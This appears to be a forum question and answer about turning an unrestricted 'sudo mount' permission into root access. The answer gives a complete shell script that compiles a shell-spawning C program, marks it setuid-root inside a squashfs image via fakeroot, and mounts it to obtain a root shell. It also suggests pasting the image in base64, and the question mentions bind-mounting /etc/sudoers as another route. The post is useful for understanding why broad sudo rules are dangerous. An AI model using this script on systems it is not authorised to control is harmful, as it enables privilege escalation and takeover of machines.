Is it possible to mount a file with different ownership/permissions?

Question

I have been experimenting with privilege escalation using the mount command and would like to know if it is possible to create a suid file owned by root without having access to any external device. i.e. I'm trying to find a way to do one the following:

1. bind mount /bin/bash to another file, so that I can set the suid bit on it (and have it stay after unmount somehow). Or bind mount a suid user copy of /bin/bash to a file owned by root.

2. mount a squashfs, .iso, or other existing filesystem with files normally owned by root in it (example: filesystem.squashfs from an ubuntu .iso image), so that I can set the suid bit on them.

The setup is as follows:

1. sudo mount with any arguments is allowed
2. no possibility to get a root suid file onto the computer from another device

I know I can easily gain root by bind mounting /etc/group, /etc/sudoers, etc, but would like to know if other ways are possible, in particular any way to create a root suid file without having access to any external machine (or virtual machine).

Answer 1

You stipulate that you are allowed to run sudo mount with any arguments. In that case, unless I misunderstand your question, it seems to be trivially easy to gain root access: just create a disk image that contains a setuid-root binary and mount it with sudo mount -o loop! After all, anyone can create a disk image, it's just bytes...

To prove it, here's a super trivial shell script that will do it:

#!/bin/sh

# Prepare the image
mkdir imgsrc
gcc -xc -o imgsrc/runsh - <<EOF
#include <unistd.h>
int
main(int argc, char **argv)
{
    execl("/bin/sh", "sh", NULL);
    return 1;
}
EOF

# Create the image
fakeroot sh -c 'chown -Rh 0:0 imgsrc; chmod u+s imgsrc/runsh; mksquashfs imgsrc img'
rm -rf imgsrc

# Mount the image
mkdir mountpoint
sudo mount -r img mountpoint 

After running that, you can get a root shell just by running mountpoint/runsh.

If you don't have the necessary tools like fakeroot and mksquashfs then you can simply install them, their source code is freely available. If you can't do that, then you can just create the image in advance somewhere else and copy it onto the system in question. If worse comes to worse you can even base 64 encode the image and paste it at the command line! On my system, the above script generates an image that is just 2600 bytes when gzipped (what an interesting coincidence that it should be exactly that number!), and I'm sure it would be possible to make it even smaller with just a little bit of work. In the old days (1980s, mostly) people used to manually type in larger blocks of data than that transcribed from programming magazines.